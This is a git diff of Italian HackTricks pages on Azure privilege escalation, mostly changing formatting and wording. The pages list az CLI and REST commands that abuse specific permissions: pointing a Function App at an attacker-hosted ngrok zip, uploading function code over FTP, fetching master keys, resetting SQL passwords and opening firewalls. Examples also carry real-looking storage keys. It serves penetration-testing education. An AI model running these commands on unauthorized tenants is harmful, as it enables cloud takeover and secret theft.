Questo permesso consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere allo storage blob della funzione con permessi COMPLETI**.
```bash
@@ -181,9 +181,9 @@ Inoltre, questo permesso consente di ottenere il **nome utente e la password SCM
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto in precedenza, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
+Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto in precedenza, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di un'applicazione web:
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la configurazione **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con il **zip** contenente il codice.
-L'esempio seguente mostra le **mie impostazioni personali che dovrai modificare i valori per le tue**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui è dove stavo ospitando l'app.
+L'esempio seguente mostra le **mie impostazioni personali, dovrai cambiare i valori con i tuoi**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui è dove stavo ospitando l'app.
```bash
# Modify the function
az rest --method PUT \
@@ -213,7 +213,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
Con questo permesso è **possibile modificare il codice di un'applicazione** tramite la console web (o tramite il seguente endpoint API):
```bash
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Questa autorizzazione consente di elencare tutti i profili di pubblicazione che contengono fondamentalmente **credenziali di autenticazione di base**:
```bash
@@ -240,7 +240,7 @@ az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
-- Se le credenziali di **REDACTED**
+- Se le credenziali sono **REDACTED**
Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_Nota che il **nome utente FTP** è solitamente nel formato \\\$\._
-### Microsoft.Web/sites/publish/Action
+### `Microsoft.Web/sites/hostruntime/vfs/read`
-Secondo [**la documentazione**](https://github.com/projectkudu/kudu/wiki/REST-API#command), questo permesso consente di **eseguire comandi all'interno del server SCM** che potrebbero essere utilizzati per modificare il codice sorgente dell'applicazione:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
-
-Questo permesso consente di **leggere il codice sorgente** dell'app tramite il VFS:
+Questa autorizzazione consente di **leggere il codice sorgente** dell'app tramite il VFS:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-Con questo permesso è possibile [ottenere il **token admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave master** e quindi accedere e modificare il codice della funzione:
+Con questo permesso è possibile [ottenere il **token admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave master** e quindi accedere e modificare il codice della funzione.
+
+Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come faresti:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Questa autorizzazione consente di **abilitare funzioni** che potrebbero essere disabilitate (o disabilitarle).
```bash
@@ -342,7 +333,7 @@ az functionapp config appsettings set \
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con questi permessi è possibile **modificare il contenitore eseguito da un'app funzione** configurata per eseguire un contenitore. Questo permetterebbe a un attaccante di caricare un'app contenitore di funzione azure malevola su docker hub (ad esempio) e far eseguire la funzione.
```bash
@@ -350,20 +341,20 @@ az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
-Con questi permessi è possibile **allegare una nuova identità gestita dall'utente a una funzione**. Se la funzione fosse compromessa, ciò consentirebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.
+Con questi permessi è possibile **collegare una nuova identità gestita dall'utente a una funzione**. Se la funzione fosse compromessa, questo permetterebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.
```bash
az functionapp identity assign \
--name \
--resource-group \
--identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/
```
-### Debugging Remoto
+### Remote Debugging
È anche possibile connettersi per eseguire il debug di una funzione Azure in esecuzione come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita, Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore dimentichi di evitare di lasciare configurazioni vulnerabili.
-È possibile verificare se una Funzione ha il debug abilitato con:
+È possibile verificare se una funzione ha il debug abilitato con:
```bash
az functionapp show --name --resource-group
```
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index c9e0dbbbc..f49adbf2f 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -4,13 +4,13 @@
## Azure Key Vault
-Per ulteriori informazioni su questo servizio, controlla:
+Per ulteriori informazioni su questo servizio controlla:
{{#ref}}
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
Un attaccante con questo permesso sarà in grado di modificare la policy di un key vault (il key vault deve utilizzare le policy di accesso invece di RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index 71e9a3337..51f36c7ba 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Per ulteriori informazioni su SQL Database controlla:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Con questo permesso, puoi creare o aggiornare i flussi di lavoro di Azure Logic Apps. I flussi di lavoro definiscono processi automatizzati e integrazioni tra vari sistemi e servizi.
-
-{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group \
@@ -26,8 +24,6 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
E dopo averlo modificato, puoi eseguirlo con:
```bash
az rest \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
-Con queste autorizzazioni, puoi distribuire flussi di lavoro di Logic App utilizzando distribuzioni di file ZIP. Queste autorizzazioni abilitano azioni come la lettura dei dettagli dell'app, l'accesso alle credenziali di pubblicazione, la scrittura delle modifiche e l'elenco delle configurazioni dell'app. Insieme alle autorizzazioni di avvio, puoi aggiornare e distribuire una nuova Logic App con il contenuto desiderato
-
-{% code overflow="wrap" %}
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
+Con questi permessi, puoi distribuire flussi di lavoro di Logic App utilizzando distribuzioni di file ZIP. Questi permessi abilitano azioni come la lettura dei dettagli dell'app, l'accesso alle credenziali di pubblicazione, la scrittura di modifiche e l'elenco delle configurazioni dell'app. Insieme ai permessi di avvio, puoi aggiornare e distribuire una nuova Logic App con il contenuto desiderato.
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index 71925643e..eca7c29e8 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL Database Privesc
Per ulteriori informazioni su SQL Database controlla:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
Con questo permesso, puoi creare, aggiornare o eliminare istanze di MySQL Flexible Server su Azure. Questo include la fornitura di nuovi server, la modifica delle configurazioni dei server esistenti o la dismissione dei server.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Ad esempio, queste autorizzazioni consentono di cambiare la password di MySQL, utile ovviamente nel caso in cui l'autenticazione MySQL sia abilitata.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
Inoltre, è necessario avere l'accesso pubblico abilitato se si desidera accedere da un endpoint non privato. Per abilitarlo:
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
-
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un MySQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server MySQL. È importante che il flexible-server abbia identità gestite assegnate all'utente da utilizzare.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index 16ffead4e..1415b46ba 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
Per ulteriori informazioni su SQL Database controlla:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Con questo permesso, puoi creare, aggiornare o eliminare istanze di PostgreSQL Flexible Server su Azure. Questo include la fornitura di nuovi server, la modifica delle configurazioni dei server esistenti o la dismissione dei server.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Ad esempio, queste autorizzazioni consentono di cambiare la password di PostgreSQL, utile ovviamente nel caso in cui l'autenticazione di PostgreSQL sia abilitata.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
Inoltre, è necessario avere l'accesso pubblico abilitato se si desidera accedere da un endpoint non privato. Per abilitarlo:
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un PostgreSQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server PostgreSQL. L'aggiornamento del principale esistente non è ancora supportato, quindi se ce n'è uno creato, devi prima eliminarlo.
-Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un PostgreSQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server PostgreSQL. L'aggiornamento del principale esistente non è ancora supportato, quindi se ne è stato creato uno, devi prima eliminarlo.
-
-È importante che il flexible-server abbia identità gestite assegnate all'utente da utilizzare.
-
-{% code overflow="wrap" %}
+È importante che il flexible-server abbia un'identità gestita assegnata all'utente da utilizzare.
```bash
az postgres flexible-server ad-admin create \
--resource-group \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index 5229bca99..572917bce 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
-### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
+### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Se hai questi permessi, puoi elevare i privilegi leggendo o creando chiavi di accesso condiviso. Queste chiavi consentono il pieno controllo sul namespace di Service Bus, inclusa la gestione di code, argomenti e l'invio/ricezione di messaggi, potenzialmente eludendo i controlli di accesso basati sui ruoli (RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index bbbba88e6..1ef67f760 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -10,9 +10,9 @@ Per ulteriori informazioni su SQL Database controlla:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
+### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
-Con questi permessi, un utente può eseguire un'escursione di privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente all'utente di aggiornare le proprietà del server, inclusa la password dell'amministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture shadow per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui "Microsoft Entra Authentication Only" è disabilitato, poiché possono sfruttare l'autenticazione basata su SQL per ottenere accesso illimitato.
+Con questi permessi, un utente può eseguire un'escursione dei privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente all'utente di aggiornare le proprietà del server, inclusa la password dell'amministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture ombra per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui "Microsoft Entra Authentication Only" è disabilitato, poiché possono sfruttare l'autenticazione basata su SQL per ottenere accesso illimitato.
```bash
# Change the server password
az sql server update \
@@ -35,7 +35,7 @@ az sql server update \
--resource-group \
--enable-public-network true
```
-### "Microsoft.Sql/servers/firewallRules/write"
+### `Microsoft.Sql/servers/firewallRules/write`
Un attaccante può manipolare le regole del firewall sui server Azure SQL per consentire accessi non autorizzati. Questo può essere sfruttato per aprire il server a indirizzi IP specifici o a interi intervalli di IP, inclusi gli IP pubblici, consentendo l'accesso a attori malevoli. Questa attività di post-sfruttamento può essere utilizzata per eludere i controlli di sicurezza di rete esistenti, stabilire persistenza o facilitare il movimento laterale all'interno dell'ambiente esponendo risorse sensibili.
```bash
@@ -58,7 +58,7 @@ az sql server firewall-rule update \
Inoltre, il permesso `Microsoft.Sql/servers/outboundFirewallRules/delete` consente di eliminare una regola del firewall.
NOTA: È necessario avere abilitato l'accesso pubblico.
-### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
+### `Microsoft.Sql/servers/ipv6FirewallRules/write`
Con questo permesso, puoi creare, modificare o eliminare regole del firewall IPv6 su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di eludere le configurazioni di sicurezza di rete esistenti e ottenere accesso non autorizzato al server. Aggiungendo una regola che consente il traffico da qualsiasi indirizzo IPv6, l'attaccante potrebbe aprire il server all'accesso esterno.
```bash
@@ -72,7 +72,7 @@ az sql server firewall-rule create \
Inoltre, il permesso `Microsoft.Sql/servers/ipv6FirewallRules/delete` consente di eliminare una regola del firewall.
NOTA: È necessario avere abilitato l'accesso pubblico.
-### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
+### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
Con questi permessi puoi effettuare un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
```bash
@@ -82,9 +82,9 @@ az sql server ad-admin create \
--display-name \
--object-id
```
-### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
+### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
-Con questi permessi, puoi configurare e applicare "Autenticazione solo di Microsoft Entra" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinati scenari. Un attaccante o un utente autorizzato con questi permessi può abilitare o disabilitare l'autenticazione solo di Azure AD.
+Con queste autorizzazioni, puoi configurare e applicare "Microsoft Entra Authentication Only" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinate situazioni. Un attaccante o un utente autorizzato con queste autorizzazioni può abilitare o disabilitare l'autenticazione solo con Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index 8d73fdf32..4adb5a1f2 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -10,13 +10,13 @@ Per ulteriori informazioni sullo storage, controlla:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/listkeys/action
+### `Microsoft.Storage/storageAccounts/listkeys/action`
Un principale con questo permesso sarà in grado di elencare (e i valori segreti) delle **chiavi di accesso** degli account di storage. Consentendo al principale di elevare i propri privilegi sugli account di storage.
```bash
az storage account keys list --account-name
```
-### Microsoft.Storage/storageAccounts/regenerateKey/action
+### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Un principale con questo permesso sarà in grado di rinnovare e ottenere il nuovo valore segreto delle **chiavi di accesso** degli account di archiviazione. Consentendo al principale di elevare i propri privilegi sugli account di archiviazione.
@@ -24,7 +24,7 @@ Inoltre, nella risposta, l'utente riceverà il valore della chiave rinnovata e a
```bash
az storage account keys renew --account-name --key key2
```
-### Microsoft.Storage/storageAccounts/write
+### `Microsoft.Storage/storageAccounts/write`
Un principale con questo permesso sarà in grado di creare o aggiornare un account di archiviazione esistente aggiornando qualsiasi impostazione come regole di rete o politiche.
```bash
@@ -36,7 +36,7 @@ az storage account update --name --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
-### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
+### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
Il primo permesso consente di **modificare le politiche di immutabilità** nei contenitori e il secondo di eliminarle.
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## File shares specific privesc
-### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
+### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
Questo dovrebbe consentire a un utente con questo permesso di poter prendere possesso dei file all'interno del filesystem condiviso.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
Questo dovrebbe consentire a un utente con questo permesso di poter modificare i permessi dei file all'interno del filesystem condiviso.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
Questo dovrebbe consentire a un utente con questo permesso di poter eseguire azioni all'interno di un filesystem come superutente.
-### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
+### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
-Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso l'accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi è possibile sovrascrivere altri utenti già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
+Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso l'accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi puoi sovrascrivere altri utenti già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
```bash
az storage account local-user create \
--account-name \
@@ -80,7 +80,7 @@ az storage account local-user create \
--home-directory \
--has-ssh-key false/true # Depends on the auth method to use
```
-### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
